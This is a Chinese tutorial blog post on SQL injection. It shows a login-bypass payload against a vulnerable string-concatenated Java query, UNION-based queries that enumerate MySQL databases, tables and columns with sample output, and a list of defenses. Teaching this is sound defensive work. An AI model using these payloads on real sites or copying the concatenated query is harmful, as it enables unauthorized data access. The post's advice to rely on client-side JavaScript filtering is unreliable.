SQL注入

作者: Binary_r | 来源:发表于2020-10-27 17:27 被阅读0次

    1、概念
    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
    具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)
    SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,
    实现无帐号登录,甚至篡改数据库。

    2、操作
    要求输入用户名和密码:

    可以这样输入实现免帐号登录:

    用户名: ‘or 1 = 1 –-+
    密 码:xxx
    后台认证程序中会有如下的SQL语句:
    String sql = "select * from user where username=' "+userName+" ' and password=' "+password+" '";

    然而加了‘or 1 = 1 –-+
    SELECT * FROM user WHERE username=' ’ or 1 = 1 --+ and password='’

    其他相关操作
    select * from test where username = 'abc' or 1 = 1
    select * from test where id = 1 order by 1-- + -- 成功
    select * from test where id = 1 order by 2 -- 成功
    select * from test where id = 1 order by 3 -- 成功
    select * from test where id = 1 order by 4 -- 失败

    select * from test where id = -1 union select 1,2,3 -- 报显示位,证明有三列

    -- mis_online_exam5.7.18root@10.16.232.12
    select * from test where id = -1 union select 1,concat_ws('~',database(),version(),user()),3-- +

    -- 查询所有的数据库

    -- information_schema,mis_online_exam,mysql,performance_schema,sys
    select * from test where id = -1 union select 1,GROUP_CONCAT(schema_name),3
    from information_schema.SCHEMATA

    -- 查询当前库下存在的所有表
    -- answer,paper,question,question_category,question_options,question_paper,question_type,test,user,user_manager
    select * from test where id = -1 union select 1,GROUP_CONCAT(table_name),3
    from information_schema.TABLES WHERE table_schema='mis_online_exam'

    -- 查询列名

    -- id_password_username
    select * from test where id = -1 union select 1,GROUP_CONCAT(COLUMN_name separator '_'),3
    from information_schema.COLUMNS WHERE table_name='test'

    information_schema简介
    在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

    3、应对方法
    1、使用正则表达式过滤传入的参数

    2、字符串过滤

    3、使用JavaScript在客户端进行不安全字符屏蔽 功能介绍:检查是否含有”‘”,”\”,”/”

    4、PreparedStatement 预编译处理
    String sql = "insert into t select ?,?";
    PreparedStatement statement = con.prepareStatement(sql);

    statement.setInt(1, 123456);
    statement.setString(2, "abc");
    statement.executeUpdate();

    statement.close();

    5、权限控制
    在创建一个SQL数据库的用户帐户时,要遵循最低权限法则。用户应只拥有使用其帐户的必要的最低特权。
    如果系统显示需要用户可以读取和修改自己的数据,那么应该限制其特权,使他们无法读取/编写别人的数据。

    相关文章

      网友评论

          本文标题:SQL注入

          本文链接:https://www.haomeiwen.com/subject/uovxvktx.html